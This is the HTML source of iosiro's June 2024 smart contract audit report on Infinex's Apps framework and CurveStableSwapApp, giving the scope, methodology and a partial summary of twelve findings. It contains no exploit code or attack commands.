Infinex Apps and CurveStableSwap Smart Contract Audit

<style>
@import url(https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;600;700&display=swap);@import url('https://fonts.googleapis.com/css2?family=Source Code Pro:wght@400;500;600;700&display=swap');ul{opacity:1;}table{border:none !important;}a,code,pre,tt{overflow-wrap:break-word;word-wrap:break-word}.chroma .lntable,.chroma .lntd{margin:0;border:0;padding:0}pre,table{width:100%}.findings-count td,.findings-count th,.rating-critical,.rating-high,.rating-informational,.rating-low,.rating-medium,.status-closed,.status-open,.status-resolved{text-align:center}.rating-critical,.rating-high,.rating-informational,.rating-low,.rating-medium,.status-closed,.status-open,.status-resolved,a,h1,h2,h3{font-weight:500}:root{--color-link:#f66263;--color-heading:#f66263;--color-codeblock:#f5f2f0;--color-codeblock-border:#f5f2f0;--color-critical:#cc7ab9;--color-high:#ff6263;--color-medium:#f68463;--color-low:#f6b263;--color-informational:#6ba2f6;--color-open:#f6d263;--color-closed:#b6b6b6;--color-resolved:#9fbf9f;--size-200:0.694rem;--size-300:0.833rem;--size-400:1rem;--size-500:1.2rem;--size-600:1.44rem;--size-700:1.728rem;--size-800:2.074rem;--size-900:2.488rem}.report-container{color:#222;font-family:Montserrat,sans-serif;line-height:1.6;margin:1rem;font-size:var(--size-400)}a{color:var(--color-link)}@media screen and (min-width:1600px){.report-main{display:grid;grid-template-columns:25%,75%;grid-gap:0.5em}.toc{grid-column:1;max-width:30em}.frontpage-logo,.frontpage-subtitle,.frontpage-title,.report{grid-column:2}}@media screen and (max-width:1599px){ .report-main{ margin: 0 auto;max-width:70em} }h1,h2,h3,h4,h5,h6{margin-bottom:0}.toc>ul>li>a,dt,h4,h5,h6,table th{font-weight:600}h1,h2{color:var(--color-heading)}h1{font-size:var(--size-800)}h2{font-size:var(--size-700)}h3{font-size:var(--size-600)}h4{font-size:var(--size-500)}h1 strong,h2 strong,h3 strong,h4 strong{font-weight:400;font-size:.7em;font-family:"Source Code Pro",monospace}h2 strong::after{content:"\a";white-space:pre}code,pre,tt{font-family:"Source Code Pro",monospace,sans-serif;background-color:var(--color-codeblock);white-space:pre-wrap}code,tt{padding:1px 3px;border-radius:2px}pre{box-sizing:border-box;padding:10px;overflow:auto;word-break:break-word}pre code,tt{font-size:inherit;background:0 0;border:none;padding:0}.findings code,h2 code{background-color:inherit;border-width:0}@media screen and (min-width:600px){dl{display:grid;grid-gap:0.5em}dt{grid-column:1}dd{grid-column:2}}@media screen and (max-width:599px){dl{display:block}}table{background-color:inherit;max-width:100%;min-width:100%;border:none}table thead th{border-bottom:2px solid #222}table td,table th{text-align:left;border:none}table,td,th{border-collapse:collapse}.findings-count thead tr th:first-of-type{border-style:none}.findings-count tbody td:first-child{width:1em;text-align:right;padding-right:.75em;border-right:2px solid #222;font-weight:600}.findings-count td:nth-child(2),.rating-critical{background-color:var(--color-critical)}.findings-count td:nth-child(3),.rating-high{background-color:var(--color-high)}.findings-count td:nth-child(4),.rating-medium{background-color:var(--color-medium)}.findings-count td:nth-child(5),.rating-low{background-color:var(--color-low)}.findings-count td:nth-child(6),.rating-informational{background-color:var(--color-informational)}.status-open{background-color:var(--color-open)}.status-closed{background-color:var(--color-closed)}.status-resolved{background-color:var(--color-resolved)}#document-control table,.findings td,.metadata td{font-size:.9em}.findings td:first-of-type{white-space:nowrap;word-break:keep-all;font-family:"Source Code Pro",monospace;vertical-align:top}.findings td:nth-of-type(2){vertical-align:bottom}@media screen{.audit-header,.report{max-width:65rem}h1{margin-top:3em}h2{margin-top:2em}table th{padding:6px}table td{padding:8px 6px}.findings td:nth-of-type(2){min-width:2em}}.metadata td:last-of-type{background-color:#eee}.metadata td:first-of-type,.metadata td:nth-of-type(2){width:8em}.toc ul{list-style:none;margin-left:0;padding-left:0}.toc li ul{margin-left:3em}.toc{counter-reset:tocSectionCounter}.toc>ul>li::before{content:counter(tocSectionCounter) ". ";font-weight:600;padding-right:4px}.toc>ul>li{counter-increment:tocSectionCounter}.report{counter-reset:sectionCounter}.report h1::before{content:counter(sectionCounter) ". ";font-weight:400;padding-right:6px}.report h1{counter-increment:sectionCounter}hr{display:none}@media print{.landing-header{display:none}.toc li a,h1,h2{color:#222}dd,dt{margin:.2em 0;break-inside:avoid}dl,pre{page-break-inside:auto;break-inside:auto}dd,dt,pre{padding:0}.toc li a,.toc li a::after,pre{background-color:#fff}td{min-width:2em}pre,td{word-break:break-word}h1,h2{margin-top:0}#document-control,.break-before,h1,hr{page-break-before:always}h1{font-size:18pt}h2{font-size:16pt}h3{font-size:14pt}.frontpage-subtitle,h4{font-size:12pt}.toc,p,ul,ol,dl{font-size:11pt}summary{list-style:none;font-size:1.1em;margin-bottom:1em}.toc{background:0 0;max-width:100%;counter-reset:page;line-height:1.6}.toc li a::after{content:target-counter(attr(href),page);float:right;position:absolute;right:0;padding-left:3px}.toc li ul{margin-left:1.5em}.toc li{overflow-x:hidden;max-width:98.5%;text-align:left}.toc li ul li::after{content:".............................................." ".............................................." ".............................................." "........";float:left;width:0;letter-spacing:6px}footer,header{display:none}dd,li,p,p *{text-align:justify}dl{width:100%;display:flex;flex-wrap:wrap}dt{flex:1;min-width:30%}dd{flex:1;min-width:65%}.frontpage-logo{margin-top:75mm;width:65mm;padding-bottom:1cm}.report-container{height:auto}pre{display:inline;font-size:.9em}pre:first-child,pre:last-child{padding:0;margin:0;background-color:#fff}pre *{white-space:pre-wrap;background-color:var(--color-codeblock);padding:1px;word-wrap:normal}.findings td{max-width:20em;overflow-wrap:break-word;text-wrap:balance}.frontpage-title{font-size:20pt;font-weight:700}.metadata td{padding:.3em}.codequality{font-size:.95em}td{padding:4px}}.page-header{margin-top:-1cm;opacity:.8;position:running(pageHeaderRunning)}.page-header svg{width:34mm}@media screen{.page-header,.frontpage-title,.frontpage-subtitle,.frontpage-logo{display:none}.frontpage-subtitle,.frontpage-title{text-align:center}.frontpage-logo{width:10em;padding-bottom:.5em;margin-left:auto;margin-right:auto}.frontpage-title{font-size:var(--size-900);font-weight:700}.frontpage-subtitle{font-size:var(--size-500)}}@page{size:A4;margin:2cm 1.6cm;bleed:6mm}@page{@bottom-center{content:"𝗣𝗨𝗕𝗟𝗜𝗖 \A hello@iosiro.com";white-space:pre;color:#b7b7b7;font-size:9pt;font-family:Montserrat,sans-serif}@bottom-right-corner{content:counter(page);font-size:9pt}@top-center{content:element(pageHeaderRunning)}}@page:first{text-align:center;@top-center{content:none}@bottom-right-corner{content:none}}.chroma .lnlinks,a{text-decoration:none}.chroma .lntd,.codequality td{vertical-align:top;font-size:.9em}.chroma .ge,.chroma .sd{font-style:italic}.chroma .gh,.chroma .gp,.chroma .gs,.chroma .gu,.chroma .nc,.chroma .nd,.chroma .ni,.chroma .nl,.chroma .nn,.chroma .nt,.chroma .se,summary{font-weight:700}.bg,.chroma{background-color:var(--color-codeblock)}.chroma .lnlinks{outline:0;color:inherit}.chroma .lntable{border-spacing:0}.chroma .hl{background-color:#d8d8d8}.chroma .ln,.chroma .lnt{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#7f7f7f}.chroma .line{display:flex}.chroma .k,.chroma .kc,.chroma .kd,.chroma .kn,.chroma .kr,.chroma .ow{color:#007020;font-weight:700}.chroma .cp,.chroma .cpf,.chroma .kp,.chroma .nb,.chroma .ne{color:#007020}.chroma .kt{color:#902000}.chroma .dl,.chroma .na,.chroma .s,.chroma .s1,.chroma .s2,.chroma .sa,.chroma .sb,.chroma .sc,.chroma .sd,.chroma .se,.chroma .sh{color:#4070a0}.chroma .nc,.chroma .nn{color:#0e84b5}.chroma .no{color:#60add5}.chroma .nd{color:#555}.chroma .ni{color:#d55537}.chroma .nf{color:#06287e}.chroma .nl{color:#002070}.chroma .nt{color:#062873}.chroma .nv{color:#bb60d5}.chroma .si{color:#70a0d0}.chroma .gp,.chroma .sx{color:#c65d09}.chroma .sr{color:#235388}.chroma .ss{color:#517918}.chroma .il,.chroma .m,.chroma .mb,.chroma .mf,.chroma .mh,.chroma .mi,.chroma .mo{color:#40a070}.chroma .o{color:#666}.chroma .c,.chroma .c1,.chroma .ch,.chroma .cm{color:#60a0b0;font-style:italic}.chroma .cs{color:#60a0b0;background-color:#fff0f0}.chroma .gd{color:#a00000}.chroma .gr{color:red}.chroma .gh{color:navy}.chroma .gi{color:#00a000}.chroma .go{color:#888}.chroma .gu{color:purple}.chroma .gt{color:#04d}.chroma .gl{text-decoration:underline}.chroma .w{color:#bbb}.container{max-width:100%} code{word-wrap:break-word; word-break: break-all;}
</style>
</head><body><div class="report-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" style="display:none;">
<defs>
<symbol id="iosiro-logo" viewBox="0 0 1233 312" preserveAspectRatio="xMidYMid meet">
<g fill="#061f45">
<path d="M171.5 300.6 c-3.9 -1.7 -9.5 -4.6 -12.5 -6.5 -5.1 -3.2 -21 -15 -21 -15.6 0 -0.2 6.1 -3.5 13.5 -7.4 7.4 -3.8 17.2 -9.6 21.8 -12.7 11.1 -7.7 24.4 -21.3 29 -29.5 8.2 -14.7 9.4 -21.4 11.2 -62 1.5 -36.7 3 -46.9 8.5 -62.1 10.1 -27.6 28.2 -43.3 68 -58.8 20.3 -8 31.8 -14.8 42.4 -25.2 l8.9 -8.8 -0.7 5.7 c-1.1 9.2 -4.7 15.7 -13.4 24.2 -9.3 9.1 -20.2 16 -49.9 31.5 -22.9 12 -27 14.8 -33.3 22.7 -8.4 10.6 -10.6 21.1 -12.5 59.2 -1.6 32.3 -2.4 39.8 -5.6 52.7 -7.4 29.9 -24.7 52.9 -51.2 68.2 l-7.7 4.4 6.4 3.6 6.4 3.5 7.9 -4.1 c4.3 -2.2 11.7 -6.7 16.5 -9.9 9.8 -6.6 30.5 -26 40.1 -37.5 8.9 -10.6 21.7 -30.5 28 -43.3 l5.2 -10.7 9.5 -4.5 c5.2 -2.5 9.6 -4.4 9.9 -4.2 1.6 1.7 -13.3 32.8 -22.4 46.7 -22.3 34 -54.5 62.6 -91.3 81.2 l-4.7 2.4 -7 -3.2z"></path>
<path d="M582.1 272 c-19.3 -4.1 -31.7 -11.4 -45.4 -26.8 -14.2 -16 -19.7 -31.4 -19.7 -55.5 0.1 -22.2 4.9 -36.2 17.4 -50.9 9.3 -10.9 16.1 -16.5 25.8 -21.4 14.5 -7.3 21.7 -8.9 39.8 -8.9 18.3 0 23.5 1.2 38.5 8.5 20.6 10 36.7 29.7 43.1 53 2.6 9.2 2.5 31.8 0 41.4 -7.3 27.2 -27.1 48.7 -53 57.3 -10.6 3.4 -11.8 3.6 -26.6 3.9 -8.5 0.2 -17.5 -0.1 -19.9 -0.6z m31 -31.4 c13.1 -2.8 21.4 -9.3 27.7 -21.3 5.1 -10 6.6 -16.5 6.5 -28.8 0 -22.7 -9.7 -39.6 -26.9 -46.9 -5.9 -2.5 -8.5 -3 -17.7 -3.4 -6.4 -0.3 -12.7 0.1 -15.5 0.8 -25.7 6.4 -40 33.3 -33.7 63.5 2.9 13.8 10.9 25.6 21.7 31.9 8.6 5 25.2 6.9 37.9 4.2z"></path>
<path d="M754 271.9 c-11.5 -3.2 -17.4 -6.4 -24.9 -13.9 -6.6 -6.6 -12.6 -14.9 -14.6 -20.1 -0.5 -1.4 2.3 -3.1 14.1 -8.8 8.1 -3.9 14.9 -7 15 -6.8 0.2 0.2 2.1 3 4.3 6.4 4.7 7.3 9 10.7 15.4 12.4 5.8 1.4 14.3 0.7 18.7 -1.6 6.2 -3.2 8.8 -14 5.1 -21.4 -3.4 -6.6 -9.5 -10.9 -28.6 -20.2 -21.5 -10.4 -27.5 -15.1 -32.7 -25.7 -3.1 -6.3 -3.3 -7.2 -3.3 -17.7 0.1 -9.1 0.5 -12 2.4 -16.8 5.3 -13.4 16.5 -23.3 31.5 -27.9 5.6 -1.7 8.6 -2 16.7 -1.6 8.9 0.4 10.7 0.9 17.4 4.2 8.9 4.4 17.2 12.1 20.9 19.4 1.4 2.8 2.6 5.6 2.6 6.1 0 0.9 -27.9 15.6 -28.4 14.9 -0.2 -0.2 -1.4 -2 -2.8 -4.1 -5.3 -7.9 -13.3 -11.2 -20.2 -8.3 -4 1.7 -7.6 6.8 -7.6 10.9 0 6.9 5.4 11.8 20.3 18.4 18 7.9 32.9 16.8 39.6 23.4 1.8 1.9 4.7 6.3 6.4 9.9 2.7 5.6 3.2 7.9 3.5 16.2 0.5 11.8 -1.7 20.3 -7.6 29.3 -7.6 11.7 -18.3 19.3 -32.2 23 -6.2 1.7 -25.4 1.9 -31 0.4z"></path>
<path d="M1118 271 c-17.1 -4.3 -27.7 -10.6 -40.6 -24.3 -5.2 -5.4 -8.2 -9.8 -12.2 -17.7 -6.9 -13.9 -8.4 -19.7 -8.9 -36 -0.6 -16.4 0.9 -24.3 6.6 -36.6 5.5 -11.7 11.7 -20 20.5 -27.7 9.2 -8.1 17.3 -12.6 29.6 -16.8 8 -2.7 11.4 -3.3 21.9 -3.7 17.7 -0.7 28.4 1.5 43.8 9 9.7 4.7 14.7 8.7 24 19.1 14.8 16.5 19.6 29.6 19.7 54.2 0 12.8 -0.3 16.2 -2.3 23.5 -3.4 12.4 -9.3 23 -18 32.2 -12.8 13.7 -23.3 19.9 -41 24.4 -12.1 3.1 -31.5 3.3 -43.1 0.4z m32.9 -30.1 c8.9 -1.6 14.3 -4.2 21.1 -10.5 10.4 -9.7 15.3 -22.3 15.3 -39.4 0 -22.3 -9.5 -39.2 -26.6 -47.1 -6.5 -3 -8.3 -3.3 -18.3 -3.7 -17 -0.7 -27.7 3.1 -37.1 13.1 -8.5 8.9 -13.3 22.2 -13.3 36.8 -0.1 36.5 23.6 56.8 58.9 50.8z"></path>
<path d="M116.7 259.8 c-21.5 -21.4 -40.1 -47.4 -49.3 -69 -1.9 -4.5 -3.3 -8.2 -3.2 -8.3 0.2 -0.2 6.4 1.9 13.8 4.6 39.7 14.5 52.8 20.7 56.3 26.6 2.3 4 2.4 9.6 0.2 14.8 l-1.8 4 -1.2 -4.8 c-1.6 -6.3 -7.9 -12.8 -16.1 -16.7 -5.8 -2.8 -22.3 -7.4 -23.2 -6.5 -0.8 0.7 20.8 30.1 29.1 39.6 l4.9 5.6 7.6 -4.1 c16.5 -8.9 28.7 -25.3 31.8 -42.6 3.5 -20.6 -2.9 -41.1 -18.1 -56.9 -12.9 -13.5 -24.5 -20.2 -49.7 -28.9 -17.7 -6.1 -23.4 -8.5 -31.3 -13.1 -20.4 -11.6 -34.4 -28.2 -39 -46.2 -2 -7.5 -2 -20.9 -0.2 -28.9 l1.3 -5.5 0.8 6.5 c2.4 21.7 11.4 39 26.7 51.6 9.4 7.7 18.7 12.1 44.4 20.9 58.6 20.2 75.6 34.1 85.1 69.2 3.7 13.8 4 33.3 0.6 44.1 -6.8 21.5 -25.1 39.9 -49.2 49.4 -11.5 4.6 -9.9 5 -20.3 -5.4z"></path>
<path d="M441 190.5 l0 -78.5 17.5 0 17.5 0 0 78.5 0 78.5 -17.5 0 -17.5 0 0 -78.5z"></path>
<path d="M858 190.5 l0 -78.5 18 0 18 0 0 78.5 0 78.5 -18 0 -18 0 0 -78.5z"></path>
<path d="M942 190.5 l0 -78.5 18 0 18 0 0 7.1 0 7.2 4.5 -4.2 c6.7 -6.2 15.9 -11.7 21.6 -13.1 8.5 -2.1 21 -0.8 29.9 2.9 4.1 1.7 8.1 3.5 8.8 4 1.1 0.6 -0.4 4.3 -6.3 16.2 -4.3 8.5 -7.9 15.6 -8.1 15.8 -0.2 0.2 -3.2 -0.9 -6.6 -2.5 -5.3 -2.4 -7.6 -2.9 -14.3 -2.9 -7 0 -8.7 0.4 -13.4 3 -6.6 3.7 -10.4 8.2 -13.3 16 -2.3 5.9 -2.3 6.9 -2.6 56.8 l-0.3 50.7 -17.9 0 -18 0 0 -78.5z"></path>
<path d="M145 191.5 c-7.1 -7.2 -17 -14 -29.8 -20.4 -10.1 -5.1 -33.5 -13.6 -44.2 -16.1 -13.5 -3.2 -32.8 -13.7 -42 -23 -6.9 -6.8 -13.5 -17.3 -16.6 -26.6 -2.3 -6.6 -2.7 -9.7 -2.8 -18.9 -0.1 -11.4 1.1 -23.2 2.2 -22 0.4 0.3 1.4 4.6 2.3 9.4 3.6 18.6 10.6 32 23.8 45.2 11.8 11.7 18.1 15.2 39.9 21.9 25.8 8 39.3 14.5 53.6 26.1 10 8 20.9 24.4 19.4 28.9 -0.2 0.6 -2.8 -1.5 -5.8 -4.5z"></path>
<path d="M240 182.6 c0 -2.9 4.2 -12.6 7.5 -17.1 7.7 -10.9 17.3 -18.4 40 -31.2 18.3 -10.3 23.6 -14.3 37.8 -28.2 l11.7 -11.6 0 3.5 c0 10 -5.7 21.6 -15.1 31.1 -7.3 7.4 -13.7 11.2 -32.1 19.3 -21.6 9.6 -32.7 16.6 -43 27.4 -3.8 3.8 -6.8 6.9 -6.8 6.8z"></path>
<path d="M244 145.8 c0 -3.2 4.3 -15.5 7.8 -22.2 4.1 -7.9 14.2 -18.7 22.2 -23.8 3 -2 11.6 -6.7 19 -10.7 16.7 -8.8 31.3 -19.6 44.9 -33.2 l10.4 -10.3 -0.6 4.2 c-3.3 20.1 -19.8 37.3 -50.7 52.7 -6.3 3.2 -14 7.5 -17.2 9.6 -5.9 4 -25.8 23.1 -32.2 30.8 -2.1 2.6 -3.6 3.8 -3.6 2.9z"></path>
<path d="M182.1 139.6 c-6.5 -8.4 -21.1 -21.9 -26.3 -24.3 -4.1 -2 -5 -3 -8.2 -9.6 -5 -10.4 -15.6 -21.6 -24.4 -25.9 -6.4 -3.1 -7.3 -3.3 -18.3 -3.3 -13.8 0 -15.9 1 -15.9 7.8 0 3.6 -0.2 3.8 -1.7 2.6 -3 -2.5 -7.3 -10.2 -7.3 -13.2 0 -9.4 12.7 -18.9 29.4 -21.8 5.5 -1 8.2 -2.1 12.1 -5.1 7.3 -5.6 13.7 -7.2 26.5 -6.6 13.4 0.7 20.2 3 46.3 15.4 22.9 11 24.1 11.5 28.5 12.3 l3.2 0.6 -3.6 5 c-9.8 13.7 -18.1 38.4 -19.6 58.5 -0.5 5.9 -2.8 -13.8 -2.8 -23.7 0 -9.8 1.9 -21.5 4.4 -27.5 0.9 -2.1 1.6 -4 1.6 -4.3 0 -0.2 -4.2 -2.4 -9.2 -4.8 -5.1 -2.4 -13.3 -7 -18.3 -10.1 -15.3 -9.7 -33.9 -13.8 -42 -9.4 l-3 1.6 5 0.7 c6.9 0.9 18.2 4.3 19.1 5.7 0.5 0.8 0.1 0.9 -1.1 0.4 -1.1 -0.4 -10.7 -1 -21.4 -1.3 -21 -0.6 -29.5 0.3 -32.5 3.6 -1.6 1.7 -1.3 1.8 5.3 2.5 13.2 1.2 28 7.2 39.8 16 11.7 8.9 21.8 21.8 30.1 38.7 4.1 8.5 9.7 23.8 8.9 24.5 -0.2 0.3 -2.3 -2 -4.6 -5z"></path>
<path d="M57.1 65.6 l-6.4 -6.4 2.9 -12.2 2.9 -12.3 11 -3.9 c56.8 -20.4 121.7 -24.1 184 -10.6 12 2.6 32.2 8.6 36.2 10.7 0.7 0.4 -3.1 2.5 -8.8 5 l-10 4.4 -7.4 -2.2 c-10.1 -2.9 -23.7 -5.6 -38.6 -7.7 -16.6 -2.4 -59.3 -2.4 -79.4 0 -26.3 3 -71.7 12.6 -73.4 15.5 -0.4 0.6 -1.8 6.8 -3.1 13.6 -1.3 6.9 -2.6 12.5 -3 12.5 -0.3 0 -3.4 -2.9 -6.9 -6.4z"></path>
<path d="M449.3 66.9 c-12.3 -6.1 -17 -20.9 -10.4 -32.4 5.2 -9 12.9 -12.5 24.6 -11 6.5 0.8 11.1 4.1 14.9 10.9 11 19 -9.7 42.1 -29.1 32.5z"></path>
<path d="M867.5 67.2 c-5 -2.3 -10.3 -7.6 -12.1 -11.9 -1.8 -4.3 -1.8 -15.2 0.1 -19.6 2.2 -5.4 9.8 -11.5 15.2 -12.3 6.4 -0.9 13.9 0.2 17.9 2.7 7.6 4.7 12.7 16.5 10.5 24.5 -1.5 5.4 -6.1 11.7 -11.2 15.1 -5.4 3.6 -14.5 4.3 -20.4 1.5z"></path>
</g>
</symbol>
</defs>
<use href="#iosiro-logo"></use>
</svg>
<div class="page-header" id="page-header">
<svg version="1.0">
 <use href="#iosiro-logo"></use>
</svg>
</div>
<main class="report-main">
<svg version="1.0" class="frontpage-logo">
<use href="#iosiro-logo"></use>
</svg>
<div class="frontpage-title">Apps Framework and Curve Stable Swap App</div>
<div class="frontpage-subtitle">Infinex, 19 June 2024</div>
<nav class="toc">
<h1>Contents</h1>
<ul>
<li>
<a href="#introduction">Introduction</a></li>
<li>
<a href="#disclaimer">Disclaimer</a></li>
<li>
<a href="#methodology">Methodology</a></li>
<li>
<a href="#audit-findings">Audit findings</a><ul>
<li>
<a href="#io-ifx-app-001-recovery-functions-undermine-protocols-security-posture">IO-IFX-APP-001 Recovery functions undermine protocol's security posture</a></li>
<li>
<a href="#io-ifx-app-002-interface-mismatch">IO-IFX-APP-002 Interface mismatch</a></li>
<li>
<a href="#io-ifx-app-003-pool-address-not-validated">IO-IFX-APP-003 Pool address not validated</a></li>
<li>
<a href="#io-ifx-app-004-missing-zero-address-check">IO-IFX-APP-004 Missing zero-address check</a></li>
<li>
<a href="#io-ifx-app-005-access-control-logic-should-be-centralized">IO-IFX-APP-005 Access control logic should be centralized</a></li>
<li>
<a href="#io-ifx-app-006-array-mismatch">IO-IFX-APP-006 Array mismatch</a></li>
<li>
<a href="#io-ifx-app-007-no-slippage-protection-for-recovery-functions">IO-IFX-APP-007 No slippage protection for recovery functions</a></li>
<li>
<a href="#io-ifx-app-008-incorrect-address">IO-IFX-APP-008 Incorrect address</a></li>
<li>
<a href="#io-ifx-app-009-use-of-transfer">IO-IFX-APP-009 Use of transfer</a></li>
<li>
<a href="#io-ifx-app-010-incorrect-token-amount">IO-IFX-APP-010 Incorrect token amount</a></li>
<li>
<a href="#io-ifx-app-011-inconsistent-documentation">IO-IFX-APP-011 Inconsistent documentation</a></li>
<li>
<a href="#io-ifx-app-012-no-base-recovery">IO-IFX-APP-012 No base recovery</a></li>
</ul>
</li>
<li>
<a href="#code-quality-improvement-suggestions">Code quality improvement suggestions</a></li>
<li>
<a href="#specification">Specification</a><ul>
<li>
<a href="#app-framework">App framework</a></li>
<li>
<a href="#curve-stableswapng">Curve StableSwapNG</a></li>
</ul>
</li>
</ul>
</nav>
<article class="report">
<h1 id="introduction">Introduction</h1>
<p>iosiro was commissioned by Infinex to perform a smart contract audit of their Apps framework and <code>CurveStableSwapApp</code> implementation. The audit was conducted between 9 May 2024 and 16 May 2024, with a final review performed between 4 June 2024 and 5 June 2024. In total, the audit spanned over 8 resource days.</p>
<h4 id="overview">Overview</h4>
<p>An app framework was developed to expand the functionality of Infinex's Smart Accounts. Integration with Curve's <a href="https://docs.curve.fi/stableswap-exchange/stableswap-ng/overview/">StableSwapNG</a> smart contracts was the first App implementation to use the framework.</p>
<p>The principle of a walled garden, which limits the movement of funds within a closed and trusted ecosystem of smart contracts, was central to the design and architecture of the App framework. The objective of this architecture is to limit the attack surface of the smart contracts and mitigate many of the common risks associated with DeFi and smart contracts. Particular focus was given to ensuring that owners of Infinex's Smart Accounts retain full custodianship of their assets when activating and interacting with Apps.</p>
<p>During the audit, a high-risk issue that would allow Infinex to change the behaviour of the <code>CurveStableSwapApp</code> and intercept users' funds was identified. A medium-risk issue that would allow users' funds to be withdrawn with reduced access control was also identified. Both issues had a common cause but could be exploited in different ways.</p>
<p>Errors in the generated interfaces for Curve's StableSwapNG pools were also raised as a medium risk, as they would cause the <code>Curve<wbr>Stable<wbr>Swap<wbr>App</code> to be non-functional when deployed.</p>
<p>Various low-risk issues, design considerations, and gas optimizations were identified and reported.</p>
<p>All high-, medium-, and low-risk issues had been adequately addressed by the audit's conclusion.</p>
<p>The table below shows the reported findings' status at the assessment's conclusion.</p>
<table class="findings-count">
<thead>
<tr>
<th> </th>
<th>Critical</th>
<th>High</th>
<th>Medium</th>
<th>Low</th>
</tr>
</thead>
<tbody>
<tr>
<td>Open</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Resolved</td>
<td>0</td>
<td>1</td>
<td>2</td>
<td>9</td>
</tr>
<tr>
<td>Closed</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
<h4 id="scope">Scope</h4>
<p>The assessment focused on source file listed below, with all other files considered out of scope. Any out-of-scope code interacting with the assessed code was presumed to operate correctly without introducing functional or security vulnerabilities.</p>
<ul>
<li><strong>Project name:</strong> <code>infinex-contracts</code></li>
<li><strong>Initial audit commit:</strong> <a href="https://github.com/infinex-xyz/infinex-contracts/tree/a9d86eef3fd10454ae3b91ecbe197154df70ad78"><code>14218c8</code></a></li>
<li><strong>Final review commit:</strong> <a href="https://github.com/infinex-xyz/infinex-contracts/tree/02a87165799a27b1051569607c7c4ecd25a26a64"><code>02a8716</code></a></li>
</ul>
<table>
<thead>
<tr>
<th>File</th>
<th>SHA256 - <a href="https://github.com/infinex-xyz/infinex-contracts/tree/02a87165799a27b1051569607c7c4ecd25a26a64"><code>02a8716</code></a></th>
</tr>
</thead>
<tbody>
<tr>
<td>src/accounts/modules/AppModule.sol</td>
<td><code>5ebd6e96612f378ec78736c20a3d5f8b0d8da2a95165545525c42facb1fb933e</code></td>
</tr>
<tr>
<td>src/accounts/storage/App.sol</td>
<td><code>b2373c34fd674b0f31d0e509c1b5765a6f662adafd9f0407ad0ed86d26fad8df</code></td>
</tr>
<tr>
<td>src/apps/AppRegistry.sol</td>
<td><code>2f167b3c13ed7850e916a1d7659988ec2b2b64a616bcd8d78b3a4ef846c01b85</code></td>
</tr>
<tr>
<td>src/apps/base/AppAccountBase.sol</td>
<td><code>f6955189a8d4ca58947d03d9f2fd1fbbfc977cf2f852725dcbbf62fc4ecd3e86</code></td>
</tr>
<tr>
<td>src/apps/base/AppBase.sol</td>
<td><code>953ad26597ea765082392d0fb606568dfe44f46ad27a149966b546976c6f6fe3</code></td>
</tr>
<tr>
<td>src/apps/base/AppERC2771Context.sol</td>
<td><code>c59a94755fc5cc5bc2c7da84458350271d50870a0d45a2bc498de576db07f9c5</code></td>
</tr>
<tr>
<td>src/apps/base/AppSecurityModifiers.sol</td>
<td><code>53e594ca9b2dc4809111595264391732b81323be63bd9c5a56da70f360d1e178</code></td>
</tr>
<tr>
<td>src/apps/curve/CurveAppError.sol</td>
<td><code>9f1e702baa8618c6fc6f313ae326bc3ed231e982de15f61aa67df6464d38d999</code></td>
</tr>
<tr>
<td>src/apps/curve/CurveStableSwapApp.sol</td>
<td><code>370aa137c663c0d1b08d1187efff09acad0cc43914341468eda1f761a9f39f83</code></td>
</tr>
<tr>
<td>src/apps/curve/CurveStableSwapAppBeacon.sol</td>
<td><code>722921defad57c65f74e842650d69f282bc9e7ece9bc723b63f7d9c3744ca725</code></td>
</tr>
</tbody>
</table>
<p>A specification is available in the <a href="#specification">Specification section</a> of this report.</p>
<h1 id="disclaimer">Disclaimer</h1>
<p>This report aims to provide an overview of the assessed smart contracts' risk exposure and a guide to improving their security posture by addressing identified issues. The audit, limited to specific source code at the time of review, sought to:</p>
<ul>
<li>Identify potential security flaws.</li>
<li>Verify that the smart contracts' functionality aligns with their documentation.</li>
</ul>
<p>Off-chain components, such as backend web application code, keeper functionality, and deployment scripts were explicitly not in-scope of this audit.</p>
<p>Given the unregulated nature and ease of cryptocurrency transfers, operations involving these assets face a high risk from cyber attacks. Maintaining the highest security level is crucial, necessitating a proactive and adaptive approach that accounts for the experimental and rapidly evolving nature of blockchain technology. To encourage secure code development, developers should:</p>
<ul>
<li>Integrate security throughout the development lifecycle.</li>
<li>Employ defensive programming to mitigate the risks posed by unexpected events.</li>
<li>Adhere to current best practices wherever possible.</li>
</ul>
<h1 id="methodology">Methodology</h1>
<p>The audit was conducted using the techniques described below.</p>
<dl>
<dt>Code review</dt>
<dd>The source code was manually inspected to identify potential security flaws. Code review is a useful approach for detecting security flaws, discrepancies between the specification and implementation, design improvements, and high-risk areas of the system.</dd>
<dt>Dynamic analysis</dt>
<dd>The contracts were compiled, deployed, and tested in a test environment, both manually and through the test suite provided. Dynamic analysis was used to identify additional edge cases, confirm that the code was functional, and to validate the reported issues.</dd>
<dt>Automated analysis</dt>
<dd>Automated tooling was used to detect the presence of various types of security vulnerabilities. Static analysis results were reviewed manually and any false positives were removed. Any true positive results are included in this report.</dd>
</dl>
<h1 id="audit-findings">Audit findings</h1>
<p>The table below provides an overview of the audit's findings. Detailed write-ups are provided below.</p>
<table class="findings">
<thead>
<tr>
<th>ID</th>
<th>Issue</th>
<th>Risk</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="#IO-IFX-APP-001">IO-IFX-APP-001</a></td>
<td>Recovery functions undermine protocol's security posture</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-002">IO-IFX-APP-002</a></td>
<td>Interface mismatch</td>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-003">IO-IFX-APP-003</a></td>
<td>CurveStableSwapApp should validate stableSwapPool</td>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-004">IO-IFX-APP-004</a></td>
<td>Missing zero-address check</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-005">IO-IFX-APP-005</a></td>
<td>Access control logic should be centralized</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
